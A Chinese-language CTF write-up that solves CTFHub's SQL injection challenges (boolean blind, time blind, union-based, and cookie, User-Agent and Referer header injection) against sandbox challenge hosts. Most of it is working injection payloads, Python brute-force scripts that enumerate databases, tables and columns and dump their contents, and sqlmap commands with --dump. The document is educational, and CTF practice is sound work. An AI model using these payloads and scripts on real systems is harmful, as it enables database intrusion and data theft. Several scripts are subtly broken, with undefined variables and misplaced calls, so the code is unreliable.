CTFHUB-WEB技能树-SQL注入无官方wp部分wp

CTFHUB-WEB技能树-SQL注入无官方wp部分wp

SQL注入

布尔盲注

一、题目内容

image-20251010144411004
二、布尔盲注介绍

布尔盲注与普通注入的区别在于:注入语句后,盲注不是返回查询到的结果,而只是返回查询是否成功,即:返回查询语句的布尔值。因此,盲注要盲猜试错。由于只有返回的布尔值,往往查询非常复杂,一般使用脚本来穷举试错。

盲注攻击思路:

由于对数据库的信息了解甚少,盲注需要考虑多种情况,一般思路如下:

1. 爆库名长度 2. 根据库名长度爆库名 3. 对当前库爆表数量 4. 根据库名和表数量爆表名长度 5. 根据表名长度爆表名 6. 对表爆列数量 7. 根据表名和列数量爆列名长度 8. 根据列名长度爆列名 9. 根据列名爆数据值

盲注常用函数
  1. substr(str,from,length):返回从下标为from截取长度为length的str子串。其中,首字符下标为1
  2. length(str):返回str串长度

三、解题思路

访问题目环境

输入1可以看见该处使用的查询语句是

select * from news where id=我们输入的值

image-20251010150049362

那这里我们可以将自己的注入语句使用and?id=1并列,完成注入

1.爆数据库名长度

使用length()函数来查询数据库的库名长度

由于这里只会返回对或者错误,所以需要列举来爆破长度

1 and length(database())=?

输入

1 and length(database())=1

返回

query_error

image-20251010150626077

这里的长度到4的时候返回

query_success

说明数据库的长度为4

image-20251010150904631
2.根据库名长度爆库名

得到数据库的库名长度后,可以使用substr(database(),i,1)将库名切片,循环i次,i是字符下标,每次循环要遍历字母表[a-z]作比较,即依次猜每位字符

例如这里我们输入

1 and substr(database(),1,1)='s'

返回

query_success

也就是说数据库名的第一个字符是s

image-20251010151301944

这里写一个小脚本来爆破数据库的名字

import urllib.request import urllib.parse url = "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=" map = "abcdefghijklmnopqrstuvwxyz" query_success = [] for i in range(1, 5): for x in map: bool_inj = f"1 and substr(database(),{i},1)='{x}'" query_n = url + urllib.parse.quote(bool_inj,) try: resp = urllib.request.urlopen(query_n, timeout=8) body = resp.read().decode('utf-8', errors='ignore') except Exception as e: print(f"[!] 请求失败 pos={i} ch='{x}': {e}") if "query_success" in body: print(f"[✔] position {i}: found '{x}'") query_success.append((i, x)) break else: print(f"[-] position {i} try '{x}' -> not matched") print("\n[+] query_success =", query_success) result = [] for pos in range(1, 5): for p, c in query_success: if p == pos: result.append(c) break else: break print("[+] database() (assembled from found positions) =", "".join(result))

image-20251010153757446

遍历完可以发现库名是sqli

3、对当前库爆表数量

下一步是获取数据库内的表数量,这里使用mysql的查询语句select COUNT(*)。同样,要一个1到无穷的循环

1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1

image-20251010154026647

这里表比较多的话也是同样的写一个脚本来爆破,但是这里尝试了一下,就两张表

image-20251010154124151

这里也给出脚本

import urllib.request import urllib.parse import time url = "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=" for i in range(1, 100): base = f"1 and (select COUNT(*) from information_schema.tables where table_schema=database())={i}" encoded = urllib.parse.quote_plus(base) url_inj = url + encoded try: req = urllib.request.Request(url_inj, headers={ "User-Agent": "Mozilla/5.0 (compatible; sqli-check/1.0)" }) with urllib.request.urlopen(req, timeout=5) as resp: body = resp.read().decode("utf-8", errors="ignore") except Exception as e: print(f"[!] 请求失败 pos={i} : {e}") if "query_success" in body: print(f"[✔] 当前库的表数量为 {i} ") break else: print(f"[-] 尝试: {i} ") time.sleep(0.05)

image-20251010155205503
4、根据库名和表数量爆表名长度

现在已经拿到表的总数 i,比如 i = 2,说明有 2 张表。

把这 i 当作外层循环的次数:从第 0 张表开始,到第 i-1 张表结束(因为 SQL 的 LIMIT offset,1 用偏移量,从 0 开始计数)。

  • 举例:LIMIT 0,1 取第 1 张表,LIMIT 1,1 取第 2 张表,以此类推。

对每一张表(外层循环的某一次),我们要知道这个表名有多长,所以再做一个内层循环 j:从 1 开始往上试(试 1、2、3……),直到找到正确的长度为止。

  • 每次试 j 的时候,构造一个布尔注入:问服务器“这张表名的长度是不是 j?”
  • 如果服务器返回“是”(query_success),说明表名长度就是 j,内层循环停止,记录下这个长度;否则 j 增加继续试。

重复步骤 2–3,直到把所有表名的长度都查出来(即外层循环跑完 i 次)。

1 and (select CHAR_LENGTH(table_name) from information_schema.tables where table_schema=database() limit 0,1)=4

image-20251010160304084

同样的使用脚本来爆破

import urllib.request, urllib.parse BASE = "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=" HEADERS = {"User-Agent": "Mozilla/5.0"} max_len = 100 for off in (0, 1): for L in range(1, max_len+1): payload = f"1 and (select CHAR_LENGTH(table_name) from information_schema.tables where table_schema=database() limit {off},1)={L}" url = BASE + urllib.parse.quote_plus(payload) try: body = urllib.request.urlopen(urllib.request.Request(url, headers=HEADERS), timeout=5).read().decode("utf-8", "ignore") except: if "query_success" in body: print(f"第{off}张表 -> 长度为:{L}") break

image-20251010160903145

可以看到两张表的表名长度都是4

5、根据表名长度爆表名

和前面根据库名长度爆破库名一样,使用substr函数

1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'

image-20251010162334284

import urllib.request, urllib.parse, time BASE = "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=" HEADERS = {"User-Agent": "Mozilla/5.0"} DELAY = 0.05 table_lengths = {0: 4, 1: 4} chars = "abcdefghijklmnopqrstuvwxyz0123456789_" def send(payload): url = BASE + urllib.parse.quote_plus(payload) try: r = urllib.request.urlopen(urllib.request.Request(url, headers=HEADERS), timeout=6) return r.read().decode("utf-8", "ignore") except Exception as e: return "" results = {} for off, length in table_lengths.items(): name_chars = [] print(f"[*] 枚举 offset={off} 的表名(长度 {length})") for pos in range(1, length+1): found = None for ch in chars: # 用 LOWER(...) 保证比较小写,避免大小写问题 payload = ( f"1 and substr(lower((select table_name from information_schema.tables " f"where table_schema=database() limit {off},1)),{pos},1)='{ch}'" ) body = send(payload) if "query_success" in body: print(f" [+] pos {pos} -> '{ch}'") name_chars.append(ch) found = ch break time.sleep(DELAY) if found is None: print(f" [!] pos {pos} 未找到匹配字符,插入 '?' 并继续") name_chars.append('?') results[off] = "".join(name_chars) print("\n=== 爆破结果 ===") for off in sorted(results): print(f"Table {off} -> name = {results[off]}")

image-20251010162013010

这里爆破出第二张表的名字为flag

6、对表爆破列数量

操作同对当前库爆表数量的步骤,只是要查询的表不同

这里试了一下就查询成功了,flag表只有一列

image-20251010162601414

import urllib.request, urllib.parse, time BASE = "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=" HEADERS = {"User-Agent": "Mozilla/5.0"} TIMEOUT = 6 DELAY = 0.05 def send(payload): url = BASE + urllib.parse.quote_plus(payload) try: body = urllib.request.urlopen(urllib.request.Request(url, headers=HEADERS), timeout=TIMEOUT).read().decode("utf-8", "ignore") return body except: return "" for n in range(1, 101): payload = ( f"1 and (select COUNT(*) from information_schema.columns " f"where table_schema=database() and table_name='flag')={n}" ) body = send(payload) if "query_success" in body: print(f"[✔] 表 flag 的列数量 = {n}") break else: print(f"[-] 尝试列数: {n}") time.sleep(DELAY) else: print("[!] 在 1..100 范围内未找到列数,考虑增大上限")

image-20251010162652815
7、根据表名和列数量爆列名长度

我们每次发的判断语句会让服务器执行一个子查询,取出 information_schema.columns 中指定表(table_name='flag')和指定偏移(limit offset,1)的那一列的名字,计算其字符长度 CHAR_LENGTH(...),再跟我们猜的数字比较 = L

如果等于,页面会返回包含 query_success 的内容;脚本检测到就认为猜对(记录长度并跳到下一列)。

import urllib.request, urllib.parse, time BASE = "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=" HEADERS = {"User-Agent": "Mozilla/5.0"} TABLE = "flag" # 目标表名,必要时改成其它表 COLUMN_COUNT = 1 # 已知的列数量(整数) MAX_LEN = 200 # 每列名最大尝试长度,必要时调大 DELAY = 0.05 # 每次请求间隔(秒) def send(payload): url = BASE + urllib.parse.quote_plus(payload) try: resp = urllib.request.urlopen(urllib.request.Request(url, headers=HEADERS), timeout=6) return resp.read().decode("utf-8", "ignore") except: return "" results = {} for offset in range(0, COLUMN_COUNT): length_found = None print(f"[*] 枚举 table='{TABLE}' column offset={offset} 的列名长度...") for L in range(1, MAX_LEN + 1): payload = ( f"1 and (select CHAR_LENGTH(column_name) " f"from information_schema.columns " f"where table_schema=database() and table_name='{TABLE}' limit {offset},1)={L}" ) body = send(payload) if "query_success" in body: print(f"[✔] offset={offset} -> length = {L}") length_found = L break else: print(f"[-] offset={offset} try length {L}") time.sleep(DELAY) if length_found is None: print(f"[!] offset={offset} 未在 1..{MAX_LEN} 发现长度,考虑增大 MAX_LEN") results[offset] = length_found print("\n=== 结果 ===") for off, ln in results.items(): print(f"column offset={off} -> length = {ln}")

image-20251010163140512
8、根据列名长度爆列名

爆破列名的核心布尔注入是:

1 AND SUBSTR(LOWER( (SELECT column_name FROM information_schema.columns WHERE table_schema = database() AND table_name = 'flag' LIMIT 0,1) ), pos, 1) = 'c'

  • (SELECT column_name ... LIMIT 0,1):从系统表取出 flag 表的第 0 列的列名(字符串)。
  • LOWER(...):先转小写,避免大小写影响(因此我们只用小写字符集去猜)。
  • SUBSTR(..., pos, 1):取第 pos 个字符(从 1 开始计数)。
  • = 'c':把取到的字符和我们猜测的字符比较;若相等,整个表达式为真,页面会包含 query_success,据此判断猜对。

import urllib.request, urllib.parse, time BASE = "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=" HEADERS = {"User-Agent": "Mozilla/5.0"} DELAY = 0.05 TABLE = "flag" OFFSET = 0 # 第0列 COL_LEN = 4 # 已知列名长度 # 小写字母+数字+下划线;脚本内部用 lower(...),因此只需要小写 chars = "abcdefghijklmnopqrstuvwxyz0123456789_" def send(payload): url = BASE + urllib.parse.quote_plus(payload) try: r = urllib.request.urlopen(urllib.request.Request(url, headers=HEADERS), timeout=6) return r.read().decode("utf-8", "ignore") except Exception: return "" name = [] print(f"[*] 爆破 {TABLE} 表 offset={OFFSET} 列名(长度 {COL_LEN})") for pos in range(1, COL_LEN+1): found = None for ch in chars: # 取出 column_name、转小写、取第 pos 位,比较是否等于 ch payload = ( f"1 and substr(lower((select column_name from information_schema.columns " f"where table_schema=database() and table_name='{TABLE}' limit {OFFSET},1)),{pos},1)='{ch}'" ) body = send(payload) if "query_success" in body: print(f" [+] pos {pos} -> '{ch}'") name.append(ch) found = ch break # 可选短延时,避免请求过快 time.sleep(DELAY) if found is None: print(f" [!] pos {pos} 未命中(在 chars 范围内)") name.append('?').join(name) print("\n=== 爆破完成 ===") print(f"Column offset={OFFSET} -> name = {result}")

image-20251010163601954
9、根据列名爆数据

找某行字段长度:

1 AND (SELECT CHAR_LENGTH(flag) FROM flag LIMIT offset,1) = L

含义:取出第 offset 行的 flag 列名(值),算长度,看是否等于 L

逐字符判断某个位置:

1 AND SUBSTR((SELECT flag FROM flag LIMIT offset,1), pos, 1) = 'c'

含义:取出第 offset 行的 flag 列值,第 pos 个字符是否等于 'c'

image-20251010170616398

flag

ctfhub{8384c9a24d997d873921683e}

总整合全自动脚本

这里的脚本只针对当前环境下的这道题目,其他题目需要做修改

import urllib.request import urllib.parse import time # ----------------- 配置区 ----------------- BASE = "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=" HEADERS = {"User-Agent": "Mozilla/5.0 (compatible; auto-sqli/1.0)"} TIMEOUT = 6 DELAY = 0.05 # 每次请求间隔(秒),必要时增大 SUCCESS_MARKER = "query_success" # 页面包含该文本即为注入判断为真(根据你提供的流量包) MAX_TABLES = 50 # 最多探的表数(安全上限) MAX_NAME_LEN = 200 # 表名/列名 最大长度尝试 MAX_ROWS = 50 # 每表最多尝试的行数 CHARS_NAME = "abcdefghijklmnopqrstuvwxyz0123456789_" # 用于表名/列名(用 lower) CHARS_DATA = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}-@!#$/.:,()[]?+=%&*" # 数据爆破字符集 # ------------------------------------------ def send(payload): full = BASE + urllib.parse.quote_plus(payload) req = urllib.request.Request(full, headers=HEADERS) try: with urllib.request.urlopen(req, timeout=TIMEOUT) as r: return r.read().decode("utf-8", "ignore") except Exception as e: # 网络异常返回空字符串(调用者会处理) # print("[!] request error:", e) return "" # ------- 1) 表数量 ------- def find_table_count(max_try=MAX_TABLES): print("[*] 探测表数量...") for n in range(1, max_try + 1): payload = f"1 and (select COUNT(*) from information_schema.tables where table_schema=database())={n}" body = send(payload) if body and SUCCESS_MARKER in body: print(f"[✔] 表数量 = {n}") return n print(f"[-] 尝试表数量 {n}") time.sleep(DELAY) print("[!] 未探测到表数量(上限),若确定可手动设置 table_count 变量") return None # ------- 2) 爆表名(先长度后字符) ------- def find_table_name_length(offset, max_len=MAX_NAME_LEN): for L in range(1, max_len+1): payload = f"1 and (select CHAR_LENGTH(table_name) from information_schema.tables where table_schema=database() limit {offset},1)={L}" body = send(payload) if body and SUCCESS_MARKER in body: return L time.sleep(DELAY) return None def find_table_name_by_offset(offset, max_len=MAX_NAME_LEN, chars=CHARS_NAME): L = find_table_name_length(offset, max_len) if not L: return None name = [] for pos in range(1, L+1): found = None for ch in chars: payload = ( f"1 and substr(lower((select table_name from information_schema.tables " f"where table_schema=database() limit {offset},1)),{pos},1)='{ch}'" ) body = send(payload) if body and SUCCESS_MARKER in body: name.append(ch) found = ch break time.sleep(DELAY) if not found: name.append('?') return "".join(name) def enum_table_names(table_count): tables = {} for off in range(0, table_count): print(f"[*] 爆表名 offset={off} ...") tname = find_table_name_by_offset(off) print(f" -> {tname}") tables[off] = tname return tables # ------- 3) 爆列数 & 列名 ------- def find_column_count(table, max_try=200): print(f"[*] 探测表 `{table}` 的列数...") for n in range(1, max_try+1): payload = f"1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name='{table}')={n}" body = send(payload) if body and SUCCESS_MARKER in body: print(f"[✔] 表 {table} 的列数 = {n}") return n time.sleep(DELAY) print(f"[!] 未在 1..{max_try} 范围内发现表 {table} 的列数") return None def find_column_name_length(table, offset, max_len=MAX_NAME_LEN): for L in range(1, max_len+1): payload = ( f"1 and (select CHAR_LENGTH(column_name) from information_schema.columns " f"where table_schema=database() and table_name='{table}' limit {offset},1)={L}" ) body = send(payload) if body and SUCCESS_MARKER in body: return L time.sleep(DELAY) return None def find_column_name_by_offset(table, offset, max_len=MAX_NAME_LEN, chars=CHARS_NAME): L = find_column_name_length(table, offset, max_len) if not L: return None name = [] for pos in range(1, L+1): found = None for ch in chars: payload = ( f"1 and substr(lower((select column_name from information_schema.columns " f"where table_schema=database() and table_name='{table}' limit {offset},1)),{pos},1)='{ch}'" ) body = send(payload) if body and SUCCESS_MARKER in body: name.append(ch) found = ch break time.sleep(DELAY) if not found: name.append('?') return "".join(name) def enum_column_names(table, col_count): cols = {} for off in range(0, col_count): print(f"[*] 爆列名 table={table} offset={off} ...") cname = find_column_name_by_offset(table, off) print(f" -> {cname}") cols[off] = cname return cols # ------- 4) 爆行数 & dump 值 ------- def find_row_count(table, max_try=MAX_ROWS): print(f"[*] 探测表 `{table}` 的行数...") for n in range(1, max_try+1): payload = f"1 and (select COUNT(*) from {table})={n}" body = send(payload) if body and SUCCESS_MARKER in body: print(f"[✔] 表 {table} 的行数 = {n}") return n time.sleep(DELAY) print(f"[!] 未在 1..{max_try} 范围内发现表 {table} 的行数") return None def find_value_length(table, column, offset, max_len=MAX_NAME_LEN): for L in range(1, max_len+1): payload = f"1 and (select CHAR_LENGTH({column}) from {table} limit {offset},1)={L}" body = send(payload) if body and SUCCESS_MARKER in body: return L time.sleep(DELAY) return None def dump_value(table, column, offset, length, chars=CHARS_DATA): val = [] for pos in range(1, length+1): found = None for c in chars: payload = f"1 and substr((select {column} from {table} limit {offset},1),{pos},1)='{c}'" body = send(payload) if body and SUCCESS_MARKER in body: val.append(c) found = c print(f" [+] pos {pos} -> '{c}'") break time.sleep(DELAY) if not found: val.append('?') print(f" [!] pos {pos} 未匹配到字符,插入 '?'") return "".join(val) def dump_table_column(table, column, max_rows=MAX_ROWS, max_len=MAX_NAME_LEN): row_count = find_row_count(table, max_try=max_rows) if not row_count: return {} rows = {} for off in range(0, row_count): print(f"\n[*] dumping {table}.{column} offset={off} ...") L = find_value_length(table, column, off, max_len=max_len) if not L: print(f" [!] 未找到 offset={off} 的长度") rows[off] = None continue value = dump_value(table, column, off, L) rows[off] = value print(f" [=] offset={off} -> {value}") return rows # ---------------- 主流程 ---------------- def main(): print("=== auto_sqli_enum started ===\n") # 1. 探表数量(你也可以直接把 table_count=2 写死) table_count = find_table_count(MAX_TABLES) if not table_count: print("[!] 无法探测表数量,退出。") return # 2. 爆表名 tables = enum_table_names(table_count) # 3. 对每张表探列数并爆列名(可跳过你不关心的表) table_columns = {} for off, tname in tables.items(): if not tname: continue col_count = find_column_count(tname, max_try=200) if not col_count: table_columns[tname] = None continue cols = enum_column_names(tname, col_count) table_columns[tname] = { "count": col_count, "columns": cols } # 4. 特殊处理:如果存在 table 'flag' 且 column 'flag',则 dump 数据 if 'flag' in table_columns and table_columns['flag'] and 'flag' in table_columns['flag']['columns'].values(): print("\n[*] 发现 table 'flag' 且存在列 'flag',开始 dump") rows = dump_table_column('flag', 'flag', max_rows=MAX_ROWS, max_len=MAX_NAME_LEN) print("\n=== dump result for flag.flag ===") for off, v in rows.items(): print(f"row {off}: {v}") else: print("\n[!] 未检测到符合条件的 flag.flag,跳过 dump 步骤。") print("Detected tables and columns summary:") for t, info in table_columns.items(): print(" -", t, ":", info) print("\n=== all done ===") if __name__ == "__main__": main()

四、使用sqlmap自动化攻击

查询数据库信息

sqlmap -u "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=1" --dbs

image-20251010164554766

查数据库中的表

sqlmap -u "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

image-20251010164811080

查询flag表中的列名

sqlmap -u "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns

image-20251010165026933

查询该列的内容

sqlmap -u "http://challenge-cb42d164978cdf0b.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump

image-20251010165421385

得到flag

ctfhub{8384c9a24d997d873921683e}

时间盲注

一、题目内容

image-20251016220418606
二、时间盲注介绍

原理是利用数据库执行时间延迟来推断数据库信息。

核心原理:

  • 当无法通过常规方式获取查询结果时,通过构造条件语句使数据库执行时间延迟
  • 根据页面响应时间来判断条件是否为真

工作流程:

  1. 构造包含时间延迟函数的SQL语句
  2. 使用条件判断(如IF语句)控制是否执行延迟
  3. 观察页面响应时间:
    • 响应时间长 → 条件为真
    • 响应时间正常 → 条件为假

常见延迟函数:

  • MySQL: SLEEP(n), BENCHMARK(count, expr)
  • PostgreSQL: pg_sleep(n)
  • SQL Server: WAITFOR DELAY '0:0:n'
  • Oracle: dbms_pipe.receive_message

示例:

' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --

如果数据库名第一个字符是'a',页面会延迟5秒响应。

三、解题过程

注入的过程与布尔盲注的思路一样,不过这里判断的条件是响应时间

image-20251016144315398
1、探测数据库名

先探测数据库的库名长度,可以看到这里明显的时间差距

这里从1开始探测可以发现,如果结果是false的话响应非常的快

1 AND IF(LENGTH(DATABASE()) = 2, SLEEP(2), 1)

image-20251016144729527

这里可以发现探测到长度为4的时候响应时间非常长,说明数据库的长度就是4

1 AND IF(LENGTH(DATABASE()) = 4, SLEEP(2), 1)

image-20251016144701232

可以发现明显的区别,当条件为真时响应时间都在秒级别,条件为假的时候都是毫秒级别的

image-20251016145104540

image-20251016145025730

?id=1 AND IF(SUBSTRING(DATABASE(), 1, 1) = 's', SLEEP(2), 1) ?id=1 AND IF(SUBSTRING(DATABASE(), 2, 1) = 'q', SLEEP(2), 1) ?id=1 AND IF(SUBSTRING(DATABASE(), 3, 1) = 'l', SLEEP(2), 1) ?id=1 AND IF(SUBSTRING(DATABASE(), 4, 1) = 'i', SLEEP(2), 1)

以此探测出数据库为sqli

2、探测表名

先探测表数量

1 AND IF((SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqli') = 2, SLEEP(2), 1)

image-20251016145624949

可以看到表的数量为2

?id=1 AND IF(LENGTH((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqli' LIMIT 0,1)) = 4, SLEEP(2), 1) ?id=1 AND IF(SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqli' LIMIT 0,1), 1, 1) = 'n', SLEEP(2), 1) ?id=1 AND IF(SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqli' LIMIT 0,1), 2, 1) = 'e', SLEEP(2), 1) ?id=1 AND IF(SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqli' LIMIT 0,1), 3, 1) = 'w', SLEEP(2), 1) ?id=1 AND IF(SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqli' LIMIT 0,1), 4, 1) = 's', SLEEP(2), 1) 表 1: news ?id=1 AND IF(LENGTH((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqli' LIMIT 1,1)) = 4, SLEEP(2), 1) ?id=1 AND IF(SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqli' LIMIT 1,1), 1, 1) = 'f', SLEEP(2), 1) ?id=1 AND IF(SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqli' LIMIT 1,1), 2, 1) = 'l', SLEEP(2), 1) ?id=1 AND IF(SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqli' LIMIT 1,1), 3, 1) = 'a', SLEEP(2), 1) ?id=1 AND IF(SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='sqli' LIMIT 1,1), 4, 1) = 'g', SLEEP(2), 1) 表 2: flag

3、探测列名

这里也是一样要先探测表的列数

?id=1 AND IF((SELECT COUNT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='sqli' AND TABLE_NAME='flag') = 1, SLEEP(2), 1)

image-20251016150047962

可以发现flag表只有一列

接着就是探测数据库的列名的长度

?id=1 AND IF(LENGTH((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='sqli' AND TABLE_NAME='flag' LIMIT 0,1)) = 4, SLEEP(2), 1)

image-20251016150312752

可以发现列名长度为4,接着爆破列名

?id=1 AND IF(SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='sqli' AND TABLE_NAME='flag' LIMIT 0,1), 1, 1) = 'f', SLEEP(2), 1) ?id=1 AND IF(SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='sqli' AND TABLE_NAME='flag' LIMIT 0,1), 2, 1) = 'l', SLEEP(2), 1) ?id=1 AND IF(SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='sqli' AND TABLE_NAME='flag' LIMIT 0,1), 3, 1) = 'a', SLEEP(2), 1) ?id=1 AND IF(SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='sqli' AND TABLE_NAME='flag' LIMIT 0,1), 4, 1) = 'g', SLEEP(2), 1) 列名: flag

4、探测数据

同样的这里要先探测数据的长度

?id=1 AND IF(LENGTH((SELECT flag FROM flag LIMIT 0,1)) = 32, SLEEP(2), 1)

image-20251016150610168

这里数据的长度为32,接着探测数据内容

?id=1 AND IF(SUBSTRING((SELECT flag FROM flag LIMIT 0,1), 1, 1) = 'c', SLEEP(2), 1) ?id=1 AND IF(SUBSTRING((SELECT flag FROM flag LIMIT 0,1), 2, 1) = 't', SLEEP(2), 1) ?id=1 AND IF(SUBSTRING((SELECT flag FROM flag LIMIT 0,1), 3, 1) = 'f', SLEEP(2), 1)

以此类推

数据比较多

可以写个脚本来爆破数据

import requests import time import string URL = "http://challenge-e1c4cde8563d3b80.sandbox.ctfhub.com:10800/" PARAM = "id" TABLE = "flag" COLUMN = "flag" ROW_INDEX = 0 # LIMIT 0,1 表示第一行 SLEEP = 2 THRESHOLD = 2 TIMEOUT = 5 MAX_LEN = 50 # 常见 flag 字符集 CHARSET = string.ascii_letters + string.digits + "{}_" def send_payload(payload): """发送带注入的请求,返回响应时间""" start = time.time() try: r = requests.get(URL, params={PARAM: payload}, timeout=TIMEOUT) except requests.RequestException: return 0 return time.time() - start def get_char(pos): """盲注猜某一位字符""" for ch in CHARSET: payload = f"1 AND IF(SUBSTRING((SELECT {COLUMN} FROM {TABLE} LIMIT {ROW_INDEX},1),{pos},1)='{ch}',SLEEP({SLEEP}),1)" elapsed = send_payload(payload) if elapsed >= THRESHOLD: print(f"[+] pos {pos}: {ch}") return ch return None def extract_data(): """依次枚举每个字符""" for i in range(1, MAX_LEN + 1): ch = get_char(i) if not ch: break result += ch return result if __name__ == "__main__": print(f"[*] Extracting {COLUMN} from {TABLE} ...") data = extract_data() print(f"[+] Done: {data}")

image-20251016152740313

最后得到的flag

ctfhub{d340da38cfdb86ff2c72298b}

sqlmap自动注入同上

sqlmap -u http://challenge-e1c4cde8563d3b80.sandbox.ctfhub.com:10800/?id=1 --dbs sqlmap -u http://challenge-e1c4cde8563d3b80.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables sqlmap -u http://challenge-e1c4cde8563d3b80.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns sqlmap -u http://challenge-e1c4cde8563d3b80.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump

MySQL结构

一、题目内容

image-20251016220504955

二、解题过程

image-20251016152910539
1.判断注入类型

先判断一下是哪种类型的SQL注入

1 and 1=1#

image-20251016152952859

正常回显

1 and 1=2#

image-20251016153023601

这里没有回显,说明是整数型注入

2.接着判断一下字段数

1 order by 2#

image-20251016153135275

正常回显

1 order by 3#

image-20251016153210315

没有回显,说明字段数是2列

知道字段数量为2后,可以查看数据库位置

1 union select 1,2#

image-20251016153308213

没有发现数据,猜测数据可能不存在数据库中,修改注入语句

1 and 1=2 union select 1,2#或者-1 union select 1,2#

image-20251016153353797
3.查看数据库名

1 union select 1,2#

image-20251016153440246
4.查看全部数据库名

-1 union select 1,group_concat(schema_name)from information_schema.schemata#

image-20251016153521973

可以发现sqli不是自带的数据库

5.查看表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#

image-20251016153605897
6.查看列名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='xikyggvlrq'#

image-20251016153651459
7.查看字段内容

-1 union select 1,group_concat(kadwrinlve) from sqli.xikyggvlrq#

image-20251016153747618
flag

ctfhub{4598f53941b6c4d1f97563c3}

同样可以使用sqlmap一把梭,使用方法就不再赘述

Cookie注入

一、题目内容

image-20251016220552065
二、解题过程

image-20251016154000352

打开环境没有发现注入点

用yakit抓包分析一下,bp也是一样的

image-20251016154202489

提示解码后是

image-20251016154317539

发到web fuzzer模块,bp是重放模块

image-20251016154358197

这里判断应该是整数型注入

这里先

1.判断一下字段数

1 order by 2#

image-20251016154537426

正常回显

1 order by 3#

image-20251016154602049

没有回显,说明字段数是2

2.查看数据库位置

1 union select 1,2#

image-20251016154736674

这里看起来也是不在数据库中

老样子,改成

-1 union select 1,2#

image-20251016154816275
3.查看数据库名

-1 union select 1,database()#

image-20251016154852653
4.查看表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#

image-20251016154941323
5.查看列名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='jphsewemhf'#

image-20251016155034814
6.查看字段内容

-1 union select 1,group_concat(hnomextevu) from sqli.jphsewemhf#

image-20251016155124545
flag

ctfhub{bcbb3411326fd9d0c3f39143}

UA注入

一、题目内容

image-20251016220626118

二、解题过程

image-20251016155257317

和cookie注入一样,先抓包

image-20251016155445918

这里修改UA头,可以发现返回数据了

image-20251016155516592

这里依旧是整数注入,和前面一样,只是换了个注入位置,注入方法一样

image-20251016155612844

image-20251016155628792

-1 union select 1,2# -1 union select 1,database()# -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'# -1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='gydxqyhmfi'# -1 union select 1,group_concat(kmuxxsrstz) from sqli.gydxqyhmfi#

image-20251016155806597

image-20251016155856871

image-20251016155926658

image-20251016160000461
flag

ctfhub{05bdd319216511720b2dff21}

Refer注入

一、题目内容

image-20251016220657593

二、解题过程

根据题目显示内容,此题和上一题一致,需要在 Refer 请求头中进行 SQL 注入。那么直接使用 burp suite 抓包工具抓取题目网站的信息,并将抓取到的数据发送给重放器。在 Refer 请求中使用 payload 进行测试,发现此题存在 Refer 注入。

发现抓到的信息中没有Refer请求,那么可以直接写入Referer请求进行测试

image-20251016161307795

那接下来就和前面一致了

